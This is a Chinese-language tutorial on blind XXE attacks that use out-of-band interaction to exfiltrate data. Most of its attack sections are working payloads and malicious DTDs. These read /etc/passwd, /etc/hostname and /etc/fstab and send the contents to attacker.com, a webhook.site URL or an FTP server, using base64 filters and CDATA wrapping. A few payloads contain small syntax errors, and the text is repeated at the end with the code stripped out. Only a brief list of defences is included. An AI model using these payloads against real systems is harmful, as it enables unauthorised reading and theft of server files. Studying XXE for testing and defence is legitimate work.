盲XXE攻击 -带外交互技术(OAST) 泄露数据
字数 871 2025-08-05 11:39:32

盲XXE攻击与带外交互技术(OAST)数据泄露教学文档

1. 盲XXE攻击基础

盲XXE(Blind XXE)攻击是指当服务器接受XML数据但不会在响应中返回任何结果时,仍然可能存在的XXE漏洞。这种情况下,我们需要使用带外交互技术(OAST)来验证漏洞存在并泄露数据。

2. 基本验证技术

2.1 触发带外交互

要验证盲XXE漏洞,可以定义一个外部实体:

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com">]>

然后在XML文档中使用该实体。如果应用存在漏洞,服务器会向攻击者的URL发送HTTP请求。

2.2 使用Burp Collaborator

Burp Collaborator是验证盲XXE的有效工具,它提供:

  • 专有域名和权威DNS服务
  • HTTP/HTTPS服务
  • SMTP/SMTPS服务
  • 有效的CA签名通配符TLS证书

3. XML参数实体

当常规实体被阻止时,可以使用XML参数实体:

<!ENTITY % paramentity "my test value">
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com"> %xxe; ]>

参数实体只能在DTD中引用。

4. 数据泄露技术

4.1 基本数据泄露

创建恶意DTD文件:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'https://webhook.site/b16e2541-f40a-4641-9e12-286439217267/?x=%file;'>">
%eval;
%exfil;

4.2 处理大文件和特殊字符

对于大文件或包含特殊字符的文件,使用Base64编码:

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">

4.3 使用FTP协议

当HTTP请求因URI过长失败时,可以使用FTP协议:

恶意DTD:

<!ENTITY $ file SYSTEM "file:///etc/passwd">
<!ENTITY % req "<!ENTITY abc SYSTEM 'ftp://x.x.x.x:1212/%file; '>">

请求体:

<?xml version=1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/xxe.dtd">
%dtd;
%req;
]>
<foo>
  &abc;
</foo>

5. 检索XML文件

当需要检索XML/DTD文件时,使用CDATA避免解析问题:

5.1 CDATA与PCDATA

  • PCDATA: 会被解析器解析的文本
  • CDATA: 不会被解析器解析的文本

5.2 XML文件泄露技术

恶意DTD:

<!ENTITY % file SYSTEM "file:///etc/fstab">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY content '%start;%file;%end;'>">

请求:

POST http://example.com/xml HTTP/1.1

<!DOCTYPE data [
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
  %all;
]>
<data>&content;</data>

6. 攻击流程总结

  1. 验证盲XXE存在性:使用基本外部实体触发请求
  2. 绕过限制:必要时使用参数实体
  3. 数据泄露:
    • 小数据:直接HTTP请求
    • 大数据/特殊字符:Base64编码
    • 超大文件:FTP协议
  4. XML文件获取:使用CDATA包装

7. 防御建议

  1. 禁用外部实体解析
  2. 使用安全的XML解析器配置
  3. 实施严格的输入验证
  4. 监控异常的外部请求

8. 参考资源

  1. PortSwigger Burp Collaborator文档
  2. PortSwigger盲XXE指南
  3. XXE限制与绕过
盲XXE攻击与带外交互技术(OAST)数据泄露教学文档 1. 盲XXE攻击基础 盲XXE(Blind XXE)攻击是指当服务器接受XML数据但不会在响应中返回任何结果时,仍然可能存在的XXE漏洞。这种情况下,我们需要使用带外交互技术(OAST)来验证漏洞存在并泄露数据。 2. 基本验证技术 2.1 触发带外交互 要验证盲XXE漏洞,可以定义一个外部实体: 然后在XML文档中使用该实体。如果应用存在漏洞,服务器会向攻击者的URL发送HTTP请求。 2.2 使用Burp Collaborator Burp Collaborator是验证盲XXE的有效工具,它提供: 专有域名和权威DNS服务 HTTP/HTTPS服务 SMTP/SMTPS服务 有效的CA签名通配符TLS证书 3. XML参数实体 当常规实体被阻止时,可以使用XML参数实体: 参数实体只能在DTD中引用。 4. 数据泄露技术 4.1 基本数据泄露 创建恶意DTD文件: 4.2 处理大文件和特殊字符 对于大文件或包含特殊字符的文件,使用Base64编码: 4.3 使用FTP协议 当HTTP请求因URI过长失败时,可以使用FTP协议: 恶意DTD: 请求体: 5. 检索XML文件 当需要检索XML/DTD文件时,使用CDATA避免解析问题: 5.1 CDATA与PCDATA PCDATA : 会被解析器解析的文本 CDATA : 不会被解析器解析的文本 5.2 XML文件泄露技术 恶意DTD: 请求: 6. 攻击流程总结 验证盲XXE存在性:使用基本外部实体触发请求 绕过限制:必要时使用参数实体 数据泄露: 小数据:直接HTTP请求 大数据/特殊字符:Base64编码 超大文件:FTP协议 XML文件获取:使用CDATA包装 7. 防御建议 禁用外部实体解析 使用安全的XML解析器配置 实施严格的输入验证 监控异常的外部请求 8. 参考资源 PortSwigger Burp Collaborator文档 PortSwigger盲XXE指南 XXE限制与绕过